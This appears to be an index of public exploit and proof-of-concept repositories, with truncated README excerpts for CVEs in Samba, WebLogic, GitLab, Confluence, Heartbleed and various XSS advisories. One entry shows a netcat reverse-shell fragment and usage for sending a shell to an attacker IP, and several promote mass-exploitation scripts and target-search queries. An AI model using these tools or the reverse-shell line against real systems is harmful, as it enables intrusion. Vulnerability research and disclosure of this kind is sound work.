rtf_exploit_extractor

rtfexploitextractor Script to extract malicious payload and decoy document from CVE-2015-1641 exploit documents usage: rtfexploitextract.py -h -o OUTFILE -d DECOY -l LENGTH -v inputfile inputfile exploit document to examine optional arguments: -h, --help show this help message and exit -o OUTFILE...

cve-2021-3157

cve-2021-3156 Script kiddie turns out to be me?...

CVE-2020-7961-Mass

CVE-2020-7961-Mass CVE-2020–7961 Mass exploit for Script Kiddies Tested on: Kali Linux, Windows,... Requirements: apt install python3 pip3 install requests colorama Usage: python3 rce.py target url | For a single target python3 mass.py list url | For a list target Saved file to: linux.txt, win.tx...

weblogicPoc

weblogicPoc Weblogic Vuln POC EXP cve-2020-2551 cve-2020-2555 cve-2020-2883, ... Patch CVE-2020-2551 Updated original version https://github.com/Y4er/CVE-2020-2551.git to address the issue of being unable to directly probe servers on private addresses. CVE-2020-2555 Updated cve-2020-2555 exp,...

CVE-2020-19360

CVE-2020-19360 Fhem arbitrary file read poc FOFA search title=="Home, Sweet Home" Usage: python3 Fhem.py -h python3 Fhem.py -u http://www.example.com single URL test python3 Fhem.py -f url.txt batch detection Tip After the scan is complete, a vulnerable.txt file with vulnerabilities will be...

heartbleed

Patrik Karlsson have implemented ssl-heartbleed and commited into svn.nmap.org. you can get it from https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse. they have a discussion here: http://seclists.org/nmap-dev/2014/q2/22 . get more details from http://heartbleed.com Credit to author of ssltest....

CVE-2025-65442-DOM-based-Cross-Site-Scripting-XSS-Vulnerability-in-novel-V3.5.0-CWE-79-

Target:http://117.72.165.13:8888/ Github:https://github.com/201206030/novel Version:V3.5.0 Vulnerability Name:DOM-based Cross-Site Scripting XSS Vulnerability in novel V3.5.0 CWE-79 Vulnerability Type: DOM-based Cross-Site Scripting DOM-based XSS Discovery Date: 2025-11-02 Vulnerability Details:...

CVE-2007-2447

CVE-2007-2447 PoC: Samba "usermap script" remote command-execution historical CVE. This repository contains a small proof-of-concept script for research and educational review. The primary script is usermapscriptCommandExecution.py. Reference writeup:...

EUVD-2026-94983

Improper neutralization of Script-Related HTML tags in a web page basic XSS vulnerability in İzometri IT Services Domestic and Foreign Trade Co. Ltd. Eimzamip allows Stored XSS. This issue affects eimzamip: from v1.6.4 before v1.6.7...

Gitlab-CVE-2021-22205

Gitlab-CVE-2021-22205 Multi-threaded batch detection script for CVE-2021-22205 Use dnslog with poc for detection Use multi-threading for detection Custom command execution...

HeartBleed-Vulnerability-Checker

HeartBleed-Vulnerability-Checker author = 'WaQas-JaMal' Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford [email protected] & The author disclaims copyright to this source code. ''' I have modified this script to take any input url file. Check it for valid tld from provided se...

CVE-2023-1545-POC

Overview This contains a proof-of-concept script for CVE-2023-1545 in Teampass The original report containing the POC was made private, so this has been uploaded as a reference to those who might have missed the original. I take no credit for the creation of this script...

CVE-2025-55182-NSE

Nmap scripting engine .nse for CVE-2025-55182 https://nvd.nist.gov/vuln/detail/CVE-2025-55182 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⠴⠶⠶⠒⠒⠒⠒⠒⠶⠶⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⠶⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⢶⣄⠀⣠⠴⠚⠛⠳⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠛⠉⠛⣶⠞⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠦⣄⠀⠀⠀⠀⠀⠀⠈⠻⡅⠀⠀⠀⠀⠈⢷⡀⠀⠀⠀⠀⠀⠀⠀⠀...

CVE-2022-41544

CVE-2022-41544 Exploit script for CVE-2022-41544 - RCE in get-simple CMS Usage Usage: python3 CVE-2022-41544.py Example...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 is a reflected XSS vulnerability in Wonder CMS which further allows to execute arbitrary code through a malicious script via the installModule component. Usage Running the exploit against the target's loginURL, specifying our IP and port for the web server hosting th...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Usage Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost 10.129.232.46...

CVE-2020-10199-10204

CVE-2020-10199-10204 http://1984-0day.com python3 poc.py -i 127.0.0.1 -p 8081 -c cookie -csrf csrf-token parse = argparse.ArgumentParser parse.addargument'-i', '--ip', help='ip' parse.addargument'-p', '--port', default='8081', help='port' parse.addargument'-c', '--cookie', help='HTTP cookie'...

CVE-2020-11650

FreeNAS DoS CVE-2020-11650 python3 attack.py TargetIP...

EUVD-2026-94888

Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability in MediaRon LLC WP Plugin Info Card wp-plugin-info-card allows Stored XSS.This issue affects WP Plugin Info Card: from n/a through 6.3.5...

CVE-2023-22515-Exploit-Script

Automated Exploitation of CVE-2023-22515 - Confluence Privilege Escalation This repository contains an automated exploit script for CVE-2023-22515, a critical vulnerability in Atlassian Confluence that allows unauthorized attackers to create administrative accounts and gain full control of...